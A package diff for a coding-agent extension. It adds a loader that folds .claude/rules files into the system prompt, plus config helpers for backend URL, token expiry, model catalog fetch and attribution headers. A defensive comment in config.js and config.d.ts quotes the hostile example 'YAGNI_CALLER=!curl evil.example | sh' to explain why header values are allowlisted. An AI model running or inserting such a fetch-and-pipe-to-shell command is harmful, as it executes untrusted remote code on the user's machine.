@yagni-app/code 0.1.0 → 0.2.0

package/dist/extension/claudeRules.js

@@ -0,0 +1,180 @@
+/**
+ * Claude Code `.claude/rules/*.md` compat: fold rule files into the system
+ * prompt the extension already owns.
+ *
+ * Claude Code loads a rule without `paths` frontmatter at launch (same weight
+ * as CLAUDE.md) and injects a `paths`-scoped rule when the agent reads a
+ * matching file. pi has no read-triggered injection, so the faithful bounded
+ * mapping (see docs/superpowers/specs/2026-08-08-claude-plugins-design.md) is:
+ *
+ * - unscoped rules: content inlined verbatim into one system-prompt section
+ *   (per-file and total character caps, truncation markers) — exactly the
+ *   load-at-launch behavior;
+ * - path-scoped rules: a pointer line — "when working with files matching
+ *   these patterns, read and follow <file>" — so the prompt stays bounded on
+ *   rule-heavy repos and scoping stays honest.
+ *
+ * The launcher decides WHICH dirs load (user `~/.claude/rules` freely, repo
+ * `.claude/rules` only once the folder is trusted) and passes them via
+ * `YAGNI_CLAUDE_RULES_DIRS`, user dir first so project rules land last and
+ * win. Everything here is fail-soft and honors the compat kill switch.
+ */
+import * as fs from "node:fs";
+import { delimiter, join } from "node:path";
+import { parseFrontmatter } from "@earendil-works/pi-coding-agent";
+export const CLAUDE_RULES_DIRS_ENV = "YAGNI_CLAUDE_RULES_DIRS";
+const CLAUDE_COMPAT_DISABLE_ENV = "YAGNI_DISABLE_CLAUDE_COMPAT";
+export const CLAUDE_RULES_HEADER = "## Repository rules (.claude/rules)";
+function asPathList(value) {
+    if (typeof value === "string" && value.trim())
+        return [value.trim()];
+    if (Array.isArray(value)) {
+        return value.filter((v) => typeof v === "string" && v.trim().length > 0);
+    }
+    return [];
+}
+function walkRuleFiles(dir, depth, maxDepth, out, cap) {
+    if (depth > maxDepth || out.length >= cap)
+        return;
+    let entries;
+    try {
+        entries = fs.readdirSync(dir, { withFileTypes: true });
+    }
+    catch {
+        return;
+    }
+    entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
+    for (const entry of entries) {
+        if (out.length >= cap)
+            return;
+        const full = join(dir, entry.name);
+        let isDir = entry.isDirectory();
+        let isFile = entry.isFile();
+        if (entry.isSymbolicLink()) {
+            try {
+                const stat = fs.statSync(full);
+                isDir = stat.isDirectory();
+                isFile = stat.isFile();
+            }
+            catch {
+                continue;
+            }
+        }
+        if (isDir) {
+            walkRuleFiles(full, depth + 1, maxDepth, out, cap);
+        }
+        else if (isFile && entry.name.endsWith(".md")) {
+            out.push(full);
+        }
+    }
+}
+/** Enumerate + parse rule files from `dirs`, in dir order. Never throws. */
+export function collectClaudeRules(dirs, opts = {}) {
+    const maxFiles = opts.maxFiles ?? 40;
+    const maxDepth = opts.maxDepth ?? 5;
+    const maxFileBytes = opts.maxFileBytes ?? 64 * 1024;
+    const rules = [];
+    try {
+        for (const dir of dirs) {
+            const files = [];
+            walkRuleFiles(dir, 0, maxDepth, files, Math.max(0, maxFiles - rules.length));
+            for (const file of files) {
+                try {
+                    if (fs.statSync(file).size > maxFileBytes)
+                        continue;
+                    const content = fs.readFileSync(file, "utf8");
+                    let paths = [];
+                    let body = content;
+                    try {
+                        const parsed = parseFrontmatter(content);
+                        paths = asPathList(parsed.frontmatter.paths);
+                        body = parsed.body;
+                    }
+                    catch {
+                        // Malformed YAML: treat as an unscoped rule with the raw content.
+                    }
+                    rules.push({ path: file, paths, body: body.trim() });
+                }
+                catch {
+                    continue;
+                }
+            }
+        }
+    }
+    catch {
+        return rules;
+    }
+    return rules;
+}
+/** The system-prompt section for `rules`, or null when there is nothing to say. */
+export function buildClaudeRulesSection(rules, opts = {}) {
+    if (rules.length === 0)
+        return null;
+    const maxInlineChars = opts.maxInlineChars ?? 8_000;
+    const maxTotalChars = opts.maxTotalChars ?? 32_000;
+    const inlined = [];
+    const overflow = [];
+    const scoped = [];
+    let spent = 0;
+    for (const r of rules) {
+        if (r.paths.length > 0) {
+            scoped.push(`- Files matching ${r.paths.map((p) => `\`${p}\``).join(", ")} → read and follow ${r.path}`);
+            continue;
+        }
+        if (!r.body)
+            continue;
+        if (spent >= maxTotalChars) {
+            overflow.push(`- ${r.path}`);
+            continue;
+        }
+        let body = r.body;
+        const room = Math.min(maxInlineChars, maxTotalChars - spent);
+        if (body.length > room)
+            body = `${body.slice(0, room)}\n[truncated — full rule: ${r.path}]`;
+        spent += body.length;
+        inlined.push(`<rule file="${r.path}">\n${body}\n</rule>`);
+    }
+    if (inlined.length === 0 && overflow.length === 0 && scoped.length === 0)
+        return null;
+    const parts = [
+        CLAUDE_RULES_HEADER,
+        "This project/user carries Claude Code rules files. They are house rules for this codebase; follow them.",
+    ];
+    if (inlined.length > 0)
+        parts.push(inlined.join("\n\n"));
+    if (scoped.length > 0) {
+        parts.push("Path-scoped rules — BEFORE creating or editing files matching a pattern below, read that rule file and follow it:\n" +
+            scoped.join("\n"));
+    }
+    if (overflow.length > 0) {
+        parts.push(`Additional rules files (read as needed):\n${overflow.join("\n")}`);
+    }
+    return parts.join("\n\n");
+}
+/** Env-driven entry: dirs from YAGNI_CLAUDE_RULES_DIRS, null when off/empty. */
+export function claudeRulesSection(env, opts = {}) {
+    try {
+        const disabled = env[CLAUDE_COMPAT_DISABLE_ENV];
+        if (disabled !== undefined && disabled !== "" && disabled !== "0")
+            return null;
+        const raw = env[CLAUDE_RULES_DIRS_ENV];
+        if (!raw)
+            return null;
+        const dirs = raw.split(delimiter).filter(Boolean);
+        if (dirs.length === 0)
+            return null;
+        return buildClaudeRulesSection(collectClaudeRules(dirs, opts), opts);
+    }
+    catch {
+        return null;
+    }
+}
+/** Append `section` to a system prompt exactly once; no-op without a section. */
+export function appendClaudeRules(systemPrompt, section) {
+    if (!section)
+        return systemPrompt;
+    if (systemPrompt.includes(CLAUDE_RULES_HEADER))
+        return systemPrompt;
+    return `${systemPrompt}\n\n${section}`;
+}
+//# sourceMappingURL=claudeRules.js.map

package/dist/extension/config.d.ts

@@ -0,0 +1,173 @@
+/**
+ * Configuration + catalog-fetch helpers for the YAGNI pi extension.
+ *
+ * `YAGNI_BASE_URL` and `YAGNI_TOKEN` are read from the process environment,
+ * which the `yagni` launcher is responsible for populating. `YAGNI_CODE_DEBUG`
+ * (any truthy value) is an optional operator switch that surfaces fail-soft
+ * diagnostics on stderr, e.g. why a /go run could not be recorded (HTTP status +
+ * a token-free body excerpt); off by default and never required.
+ */
+/** A single model entry as returned by the YAGNI backend catalog endpoint. */
+export interface ModelEntry {
+    id: string;
+    name: string;
+    reasoning: boolean;
+    contextWindow: number;
+    maxTokens: number;
+    /**
+     * Supported input modalities for this tier. Catalog-driven so a vision-capable
+     * tier can receive images with no pi change (pi does the image plumbing via
+     * ProviderModelConfig.input). Optional; defaults to text-only when absent.
+     */
+    input?: ("text" | "image")[];
+    cost: {
+        input: number;
+        output: number;
+        cacheRead: number;
+        cacheWrite: number;
+    };
+}
+/**
+ * Resolve the YAGNI backend base URL from the environment.
+ *
+ * Falls back to {@link DEFAULT_BASE_URL}, trims whitespace, and strips a single
+ * trailing slash so callers can safely append paths.
+ */
+export declare function resolveBaseUrl(env?: NodeJS.ProcessEnv): string;
+/** Read the bearer token used to authenticate with the YAGNI backend. */
+export declare function getToken(env?: NodeJS.ProcessEnv): string | undefined;
+/**
+ * Read the workspace id the token is bound to, forwarded by the launcher as
+ * `YAGNI_WORKSPACE_ID` (from the stored credentials). Used to key the one-time
+ * init-pass marker ({@link initDone}). Absent on older logins (treated as
+ * unknown → the marker gate degrades to freshness-only, still fail-closed).
+ */
+export declare function getWorkspaceId(env?: NodeJS.ProcessEnv): string | undefined;
+/**
+ * Read the token's ISO expiry, forwarded by the launcher as
+ * `YAGNI_TOKEN_EXPIRES_AT`. Absent on older logins (treated as unknown).
+ */
+export declare function getTokenExpiresAt(env?: NodeJS.ProcessEnv): string | undefined;
+/**
+ * How close to expiry the token can be before the session-start notice fires.
+ * A long session can outlive its token, so a single heads-up lets the user
+ * re-login before completions and grounding tools start 401-ing mid-flight.
+ */
+export declare const EXPIRY_NOTICE_THRESHOLD_MS: number;
+/** A one-line expiry notice to surface at session start, or null when none. */
+export interface ExpiryNotice {
+    message: string;
+    type: "warning" | "error";
+}
+/**
+ * Pure helper: given the token's ISO expiry and the current time, return the
+ * notice to surface at session start, or null when there is nothing to say
+ * (missing/unparseable expiry, or comfortably valid). Never throws. This only
+ * reads the expiry; it never refreshes the token (no new auth surface).
+ */
+export declare function tokenExpiryNotice(expiresAt: string | undefined, nowMs: number, thresholdMs?: number): ExpiryNotice | null;
+/** Options for {@link fetchCatalog}. */
+export interface FetchCatalogOptions {
+    baseUrl: string;
+    getToken: () => string | undefined;
+    fetchImpl?: typeof fetch;
+}
+/**
+ * Fetch the YAGNI model catalog at startup.
+ *
+ * @throws an actionable Error (mentioning `yagni login`) on any non-2xx
+ * response so the launcher can surface a clear re-authentication prompt.
+ */
+export declare function fetchCatalog(opts: FetchCatalogOptions): Promise<ModelEntry[]>;
+/** The startup company brief returned by GET /api/yagni-code/context. */
+export interface ContextBrief {
+    brief: string;
+    sources: Array<{
+        title: string;
+        url: string;
+    }>;
+    /**
+     * Judgment-corpus sizes (additive; §2). Absent on older backends. The
+     * extension skips ambient recall entirely when `counts.decisions < 3`.
+     */
+    counts?: {
+        decisions: number;
+        corrections: number;
+    };
+}
+/**
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
+ * are labels only: a malformed value is dropped without failing the
+ * completion, so this never gates a request there.
+ *
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
+ * a config template before the request ever leaves the process
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
+ * reference is interpolated from env and THROWS the whole request if that env
+ * var is unset. These four values ride straight from `process.env` — a stray
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
+ * value that fails the check is dropped (or, for the caller, replaced with the
+ * `driver` default) rather than passed through raw; neither allowed charset
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
+ * or a leading `!`, so a value that passes can never trigger pi's template or
+ * command resolution.
+ *
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
+ * session id and `/go` threads the tracked run's server-assigned id, both
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
+ * interactive session with no child/subagent/advisor label) whenever it is
+ * absent or fails the caller-label shape check.
+ */
+export declare function attributionHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
+/**
+ * Whether THIS process is the interactive driver session, as opposed to a
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
+ * subagents.ts / askAdvisorTool.ts).
+ *
+ * branding.ts uses this to gate the delegation-first directive onto the
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
+ * at worst.
+ */
+export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
+/**
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
+ * server-side): lowercase, replace every disallowed character with `-`, and
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
+ * it is server-valid only when a caller prefixes it with something
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
+ * requirement; it is not meant to be used as a caller label on its own. The
+ * server drops an invalid label silently rather than failing the request, so
+ * sanitizing client-side is what keeps the attribution instead of losing it.
+ */
+export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
+/** Options for {@link fetchContextBrief}. */
+export interface FetchContextBriefOptions {
+    baseUrl: string;
+    getToken: () => string | undefined;
+    fetchImpl?: typeof fetch;
+}
+/**
+ * Fetch the workspace company brief at startup.
+ *
+ * Unlike {@link fetchCatalog}, this is BEST-EFFORT: a missing or failed brief
+ * must never block the agent (it still works, just without boot-time grounding).
+ * Returns `null` on any non-2xx response or network error.
+ */
+export declare function fetchContextBrief(opts: FetchContextBriefOptions): Promise<ContextBrief | null>;
+//# sourceMappingURL=config.d.ts.map

package/dist/extension/config.js

@@ -0,0 +1,194 @@
+/**
+ * Configuration + catalog-fetch helpers for the YAGNI pi extension.
+ *
+ * `YAGNI_BASE_URL` and `YAGNI_TOKEN` are read from the process environment,
+ * which the `yagni` launcher is responsible for populating. `YAGNI_CODE_DEBUG`
+ * (any truthy value) is an optional operator switch that surfaces fail-soft
+ * diagnostics on stderr, e.g. why a /go run could not be recorded (HTTP status +
+ * a token-free body excerpt); off by default and never required.
+ */
+import { resilientFetch } from "./resilientFetch.js";
+const DEFAULT_BASE_URL = "https://yagni.app";
+/**
+ * Resolve the YAGNI backend base URL from the environment.
+ *
+ * Falls back to {@link DEFAULT_BASE_URL}, trims whitespace, and strips a single
+ * trailing slash so callers can safely append paths.
+ */
+export function resolveBaseUrl(env = process.env) {
+    return (env.YAGNI_BASE_URL?.trim() || DEFAULT_BASE_URL).replace(/\/$/, "");
+}
+/** Read the bearer token used to authenticate with the YAGNI backend. */
+export function getToken(env = process.env) {
+    return env.YAGNI_TOKEN;
+}
+/**
+ * Read the workspace id the token is bound to, forwarded by the launcher as
+ * `YAGNI_WORKSPACE_ID` (from the stored credentials). Used to key the one-time
+ * init-pass marker ({@link initDone}). Absent on older logins (treated as
+ * unknown → the marker gate degrades to freshness-only, still fail-closed).
+ */
+export function getWorkspaceId(env = process.env) {
+    return env.YAGNI_WORKSPACE_ID?.trim() || undefined;
+}
+/**
+ * Read the token's ISO expiry, forwarded by the launcher as
+ * `YAGNI_TOKEN_EXPIRES_AT`. Absent on older logins (treated as unknown).
+ */
+export function getTokenExpiresAt(env = process.env) {
+    return env.YAGNI_TOKEN_EXPIRES_AT;
+}
+/**
+ * How close to expiry the token can be before the session-start notice fires.
+ * A long session can outlive its token, so a single heads-up lets the user
+ * re-login before completions and grounding tools start 401-ing mid-flight.
+ */
+export const EXPIRY_NOTICE_THRESHOLD_MS = 30 * 60 * 1000;
+/**
+ * Pure helper: given the token's ISO expiry and the current time, return the
+ * notice to surface at session start, or null when there is nothing to say
+ * (missing/unparseable expiry, or comfortably valid). Never throws. This only
+ * reads the expiry; it never refreshes the token (no new auth surface).
+ */
+export function tokenExpiryNotice(expiresAt, nowMs, thresholdMs = EXPIRY_NOTICE_THRESHOLD_MS) {
+    if (!expiresAt)
+        return null;
+    const expiryMs = Date.parse(expiresAt);
+    if (Number.isNaN(expiryMs))
+        return null;
+    const remaining = expiryMs - nowMs;
+    if (remaining <= 0) {
+        return {
+            message: "Your YAGNI Code session has expired. Run `yagni login` to re-authenticate.",
+            type: "error",
+        };
+    }
+    if (remaining <= thresholdMs) {
+        const minutes = Math.max(1, Math.ceil(remaining / 60_000));
+        return {
+            message: `Your YAGNI Code session expires in about ${minutes} minute${minutes === 1 ? "" : "s"}. ` +
+                "Run `yagni login` to refresh it before it lapses.",
+            type: "warning",
+        };
+    }
+    return null;
+}
+/**
+ * Fetch the YAGNI model catalog at startup.
+ *
+ * @throws an actionable Error (mentioning `yagni login`) on any non-2xx
+ * response so the launcher can surface a clear re-authentication prompt.
+ */
+export async function fetchCatalog(opts) {
+    const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/models`, { method: "GET", headers: { authorization: `Bearer ${opts.getToken() ?? ""}` } }, { fetchImpl: opts.fetchImpl });
+    if (!res.ok) {
+        throw new Error(`Failed to fetch YAGNI model catalog (HTTP ${res.status}). Run \`yagni login\` to re-authenticate.`);
+    }
+    const data = (await res.json());
+    return data.models;
+}
+/** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
+const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;
+/** Shape-check for a session/run id: the server requires a UUID (v1-v5). */
+const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
+/**
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
+ * are labels only: a malformed value is dropped without failing the
+ * completion, so this never gates a request there.
+ *
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
+ * a config template before the request ever leaves the process
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
+ * reference is interpolated from env and THROWS the whole request if that env
+ * var is unset. These four values ride straight from `process.env` — a stray
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
+ * value that fails the check is dropped (or, for the caller, replaced with the
+ * `driver` default) rather than passed through raw; neither allowed charset
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
+ * or a leading `!`, so a value that passes can never trigger pi's template or
+ * command resolution.
+ *
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
+ * session id and `/go` threads the tracked run's server-assigned id, both
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
+ * interactive session with no child/subagent/advisor label) whenever it is
+ * absent or fails the caller-label shape check.
+ */
+export function attributionHeaders(env = process.env) {
+    const headers = {};
+    const sessionId = env.YAGNI_SESSION_ID ?? "";
+    if (UUID_RE.test(sessionId))
+        headers["x-yagni-session-id"] = sessionId;
+    const runId = env.YAGNI_RUN_ID ?? "";
+    if (UUID_RE.test(runId))
+        headers["x-yagni-run-id"] = runId;
+    const caller = env.YAGNI_CALLER ?? "";
+    headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
+    if (env.YAGNI_BOOST === "1")
+        headers["x-yagni-boost"] = "1";
+    return headers;
+}
+/**
+ * Whether THIS process is the interactive driver session, as opposed to a
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
+ * subagents.ts / askAdvisorTool.ts).
+ *
+ * branding.ts uses this to gate the delegation-first directive onto the
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
+ * at worst.
+ */
+export function isDriverCaller(env = process.env) {
+    const caller = env.YAGNI_CALLER ?? "";
+    const effective = CALLER_LABEL_RE.test(caller) ? caller : "driver";
+    return effective === "driver";
+}
+/**
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
+ * server-side): lowercase, replace every disallowed character with `-`, and
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
+ * it is server-valid only when a caller prefixes it with something
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
+ * requirement; it is not meant to be used as a caller label on its own. The
+ * server drops an invalid label silently rather than failing the request, so
+ * sanitizing client-side is what keeps the attribution instead of losing it.
+ */
+export function sanitizeCallerSegment(name, maxLength = 64) {
+    const cleaned = name.trim().toLowerCase().replace(/[^a-z0-9_.-]/g, "-");
+    const trimmed = cleaned.slice(0, Math.max(0, maxLength));
+    return trimmed || "agent";
+}
+/**
+ * Fetch the workspace company brief at startup.
+ *
+ * Unlike {@link fetchCatalog}, this is BEST-EFFORT: a missing or failed brief
+ * must never block the agent (it still works, just without boot-time grounding).
+ * Returns `null` on any non-2xx response or network error.
+ */
+export async function fetchContextBrief(opts) {
+    try {
+        const res = await resilientFetch(`${opts.baseUrl}/api/yagni-code/context`, { method: "GET", headers: { authorization: `Bearer ${opts.getToken() ?? ""}` } }, { fetchImpl: opts.fetchImpl });
+        if (!res.ok)
+            return null;
+        return (await res.json());
+    }
+    catch {
+        return null;
+    }
+}
+//# sourceMappingURL=config.js.map